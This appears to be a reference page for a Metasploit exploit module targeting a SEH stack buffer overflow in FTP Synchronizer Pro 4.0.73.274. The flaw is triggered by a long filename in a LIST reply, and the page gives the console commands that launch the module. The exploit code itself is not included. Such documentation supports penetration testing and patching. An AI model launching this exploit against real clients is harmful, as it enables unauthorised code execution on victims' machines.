This module exploits a stack buffer overflow vulnerability in FTP Synchronizer Pro version 4.0.73.274 The overflow gets triggered by sending an overly long filename to the client in response to a LIST command. The LIST command gets issued when doing a preview or when you have just created a new sync profile and allow the tool to see the differences. This will overwrite a structured exception handler and trigger an access violation.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/ftp/ftpsynch_list_reply
msf exploit(ftpsynch_list_reply) > show targets
...targets...
msf exploit(ftpsynch_list_reply) > set TARGET < target-id >
msf exploit(ftpsynch_list_reply) > show options
...show and set options...
msf exploit(ftpsynch_list_reply) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
